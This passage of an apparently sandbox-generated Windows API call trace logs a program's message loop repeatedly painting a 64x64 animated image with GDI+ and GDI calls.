(lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.076] GetSystemMetrics (nIndex=42) returned 0 [0155.076] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0155.077] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0155.077] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0155.077] CoTaskMemFree (pv=0x1e91eca0) [0155.077] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0155.077] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0155.077] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0155.077] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0155.077] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff92010b82, x1=0, y1=0, rop=0xcc0020) returned 1 [0155.077] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.077] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff92010b82) returned 0x0 [0155.077] SelectObject (hdc=0xffffffff92010b82, h=0x185000f) returned 0x1a05067e [0155.078] DeleteDC (hdc=0xffffffff92010b82) returned 1 [0155.078] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.078] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0155.078] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0155.078] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0155.078] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0155.078] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0155.078] WaitMessage () returned 1 [0155.225] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0155.225] IsWindowUnicode (hWnd=0x2031e) returned 1 [0155.225] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0155.225] TranslateMessage (lpMsg=0x15e910) returned 0 [0155.225] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0155.225] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0155.225] GetCurrentThreadId () returned 0xec0 [0155.225] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0155.225] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0155.225] IsWindowUnicode (hWnd=0x2031e) returned 1 [0155.225] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0155.225] TranslateMessage (lpMsg=0x15e910) returned 0 [0155.225] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0155.225] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0155.226] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0155.226] CreateCompatibleDC (hdc=0x3010b83) returned 0x6d0106ea [0155.226] SelectObject (hdc=0x6d0106ea, h=0x1a05067e) returned 0x185000f [0155.226] GdipCreateFromHDC (hdc=0x6d0106ea, graphics=0x15daf0) returned 0x0 [0155.226] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0155.226] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0155.226] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0155.226] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0155.226] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0155.226] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0155.227] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0155.227] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0155.227] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.227] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0155.228] GdipCreateRegion (region=0x15dc20) returned 0x0 [0155.228] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0155.228] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0155.228] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0155.228] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0155.228] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.228] GetSystemMetrics (nIndex=42) returned 0 [0155.228] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0155.228] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0155.228] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0155.228] CoTaskMemFree (pv=0x1e91eca0) [0155.228] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0155.229] GdipCreateRegion (region=0x15d710) returned 0x0 [0155.229] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0155.229] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0155.229] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0155.229] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0155.229] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0155.229] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0155.230] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0155.230] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0155.230] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0155.230] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0155.230] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0155.231] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.231] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0155.231] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0155.231] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0155.231] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0155.231] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.231] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0155.231] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0155.231] GetCurrentObject (hdc=0x6d0106ea, type=0x1) returned 0x1b00017 [0155.231] GetCurrentObject (hdc=0x6d0106ea, type=0x2) returned 0x1900010 [0155.231] GetCurrentObject (hdc=0x6d0106ea, type=0x7) returned 0x1a05067e [0155.231] GetCurrentObject (hdc=0x6d0106ea, type=0x6) returned 0x18a002e [0155.232] SaveDC (hdc=0x6d0106ea) returned 1 [0155.232] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffd9040b8a [0155.232] GetClipRgn (hdc=0x6d0106ea, hrgn=0xffffffffd9040b8a) returned 0 [0155.232] SelectClipRgn (hdc=0x6d0106ea, hrgn=0x90407c3) returned 2 [0155.232] DeleteObject (ho=0xffffffffd9040b8a) returned 1 [0155.232] DeleteObject (ho=0x90407c3) returned 1 [0155.232] OffsetViewportOrgEx (in: hdc=0x6d0106ea, x=0, y=0, lppt=0x270b1a8 | out: lppt=0x270b1a8) returned 1 [0155.232] GetNearestColor (hdc=0x6d0106ea, color=0xffffff) returned 0xffffff [0155.232] CreateSolidBrush (color=0xffffff) returned 0xffffffffe1100190 [0155.232] FillRect (hDC=0x6d0106ea, lprc=0x15d7c0, hbr=0xffffffffe1100190) returned 1 [0155.232] DeleteObject (ho=0xffffffffe1100190) returned 1 [0155.233] RestoreDC (hdc=0x6d0106ea, nSavedDC=-1) returned 1 [0155.233] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.233] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6d0106ea) returned 0x0 [0155.233] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc240dbd) returned 0x0 [0155.233] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.233] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0155.233] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0155.233] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.233] GetSystemMetrics (nIndex=42) returned 0 [0155.233] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0155.233] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0155.233] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0155.233] CoTaskMemFree (pv=0x1e91eca0) [0155.233] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x14) returned 0x0 [0155.235] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0155.235] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0155.235] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0155.236] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0155.236] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x6d0106ea, x1=0, y1=0, rop=0xcc0020) returned 1 [0155.236] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.236] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6d0106ea) returned 0x0 [0155.236] SelectObject (hdc=0x6d0106ea, h=0x185000f) returned 0x1a05067e [0155.236] DeleteDC (hdc=0x6d0106ea) returned 1 [0155.236] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.236] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0155.236] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0155.236] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0155.236] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0155.236] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0155.237] WaitMessage () returned 1 [0155.382] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0155.382] IsWindowUnicode (hWnd=0x2031e) returned 1 [0155.382] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0155.382] TranslateMessage (lpMsg=0x15e910) returned 0 [0155.382] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0155.382] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0155.382] GetCurrentThreadId () returned 0xec0 [0155.382] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0155.382] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0155.382] IsWindowUnicode (hWnd=0x2031e) returned 1 [0155.382] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0155.382] TranslateMessage (lpMsg=0x15e910) returned 0 [0155.382] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0155.382] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0155.383] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0155.383] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff96010b82 [0155.383] SelectObject (hdc=0xffffffff96010b82, h=0x1a05067e) returned 0x185000f [0155.383] GdipCreateFromHDC (hdc=0xffffffff96010b82, graphics=0x15daf0) returned 0x0 [0155.383] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0155.383] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0155.383] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0155.383] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0155.383] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0155.384] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0155.384] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0155.384] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0155.384] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.384] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0155.384] GdipCreateRegion (region=0x15dc20) returned 0x0 [0155.384] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0155.385] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0155.385] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0155.385] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0155.385] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.385] GetSystemMetrics (nIndex=42) returned 0 [0155.385] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0155.385] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0155.385] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0155.385] CoTaskMemFree (pv=0x1e91eca0) [0155.385] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0155.385] GdipCreateRegion (region=0x15d710) returned 0x0 [0155.385] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0155.385] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0155.385] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0155.386] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0155.386] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0155.386] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0155.386] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0155.386] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0155.386] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0155.386] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0155.387] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0155.387] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.387] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0155.387] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0155.387] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0155.387] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0155.388] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.388] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0155.388] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0155.388] GetCurrentObject (hdc=0xffffffff96010b82, type=0x1) returned 0x1b00017 [0155.388] GetCurrentObject (hdc=0xffffffff96010b82, type=0x2) returned 0x1900010 [0155.388] GetCurrentObject (hdc=0xffffffff96010b82, type=0x7) returned 0x1a05067e [0155.388] GetCurrentObject (hdc=0xffffffff96010b82, type=0x6) returned 0x18a002e [0155.388] SaveDC (hdc=0xffffffff96010b82) returned 1 [0155.388] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xa0407c3 [0155.388] GetClipRgn (hdc=0xffffffff96010b82, hrgn=0xa0407c3) returned 0 [0155.388] SelectClipRgn (hdc=0xffffffff96010b82, hrgn=0xffffffffda040b8a) returned 2 [0155.388] DeleteObject (ho=0xa0407c3) returned 1 [0155.389] DeleteObject (ho=0xffffffffda040b8a) returned 1 [0155.389] OffsetViewportOrgEx (in: hdc=0xffffffff96010b82, x=0, y=0, lppt=0x270c4a0 | out: lppt=0x270c4a0) returned 1 [0155.389] GetNearestColor (hdc=0xffffffff96010b82, color=0xffffff) returned 0xffffff [0155.389] CreateSolidBrush (color=0xffffff) returned 0xffffffffe2100190 [0155.389] FillRect (hDC=0xffffffff96010b82, lprc=0x15d7c0, hbr=0xffffffffe2100190) returned 1 [0155.389] DeleteObject (ho=0xffffffffe2100190) returned 1 [0155.389] RestoreDC (hdc=0xffffffff96010b82, nSavedDC=-1) returned 1 [0155.389] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.389] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff96010b82) returned 0x0 [0155.389] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc220dbd) returned 0x0 [0155.389] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.390] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0155.390] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0155.390] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.390] GetSystemMetrics (nIndex=42) returned 0 [0155.390] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0155.390] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0155.390] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0155.390] CoTaskMemFree (pv=0x1e91eca0) [0155.390] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0155.390] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0155.390] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0155.390] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0155.390] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff96010b82, x1=0, y1=0, rop=0xcc0020) returned 1 [0155.391] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.391] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff96010b82) returned 0x0 [0155.391] SelectObject (hdc=0xffffffff96010b82, h=0x185000f) returned 0x1a05067e [0155.391] DeleteDC (hdc=0xffffffff96010b82) returned 1 [0155.391] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.391] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0155.391] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0155.391] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0155.391] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0155.391] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0155.391] WaitMessage () returned 1 [0155.543] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0155.544] IsWindowUnicode (hWnd=0x2031e) returned 1 [0155.544] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0155.544] TranslateMessage (lpMsg=0x15e910) returned 0 [0155.544] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0155.544] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0155.544] GetCurrentThreadId () returned 0xec0 [0155.544] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0155.544] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0155.544] IsWindowUnicode (hWnd=0x2031e) returned 1 [0155.544] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0155.544] TranslateMessage (lpMsg=0x15e910) returned 0 [0155.544] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0155.544] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0155.544] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0155.545] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff97010b82 [0155.545] SelectObject (hdc=0xffffffff97010b82, h=0x1a05067e) returned 0x185000f [0155.545] GdipCreateFromHDC (hdc=0xffffffff97010b82, graphics=0x15daf0) returned 0x0 [0155.545] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0155.545] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0155.545] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0155.545] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0155.545] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0155.545] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0155.545] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0155.546] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0155.546] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.546] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0155.546] GdipCreateRegion (region=0x15dc20) returned 0x0 [0155.546] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0155.546] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0155.547] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0155.547] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0155.547] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.547] GetSystemMetrics (nIndex=42) returned 0 [0155.547] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0155.547] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0155.547] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0155.547] CoTaskMemFree (pv=0x1e91eca0) [0155.547] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0155.547] GdipCreateRegion (region=0x15d710) returned 0x0 [0155.547] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0155.547] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0155.547] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0155.548] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0155.548] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0155.548] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0155.548] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0155.548] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0155.548] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0155.548] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0155.549] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0155.549] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.549] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0155.549] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0155.549] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0155.549] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0155.549] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.549] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0155.549] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0155.549] GetCurrentObject (hdc=0xffffffff97010b82, type=0x1) returned 0x1b00017 [0155.549] GetCurrentObject (hdc=0xffffffff97010b82, type=0x2) returned 0x1900010 [0155.549] GetCurrentObject (hdc=0xffffffff97010b82, type=0x7) returned 0x1a05067e [0155.550] GetCurrentObject (hdc=0xffffffff97010b82, type=0x6) returned 0x18a002e [0155.550] SaveDC (hdc=0xffffffff97010b82) returned 1 [0155.550] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffdb040b8a [0155.550] GetClipRgn (hdc=0xffffffff97010b82, hrgn=0xffffffffdb040b8a) returned 0 [0155.550] SelectClipRgn (hdc=0xffffffff97010b82, hrgn=0xb0407c3) returned 2 [0155.550] DeleteObject (ho=0xffffffffdb040b8a) returned 1 [0155.550] DeleteObject (ho=0xb0407c3) returned 1 [0155.550] OffsetViewportOrgEx (in: hdc=0xffffffff97010b82, x=0, y=0, lppt=0x270cdd8 | out: lppt=0x270cdd8) returned 1 [0155.550] GetNearestColor (hdc=0xffffffff97010b82, color=0xffffff) returned 0xffffff [0155.550] CreateSolidBrush (color=0xffffff) returned 0xffffffffe3100190 [0155.550] FillRect (hDC=0xffffffff97010b82, lprc=0x15d7c0, hbr=0xffffffffe3100190) returned 1 [0155.550] DeleteObject (ho=0xffffffffe3100190) returned 1 [0155.550] RestoreDC (hdc=0xffffffff97010b82, nSavedDC=-1) returned 1 [0155.551] FindAtomW 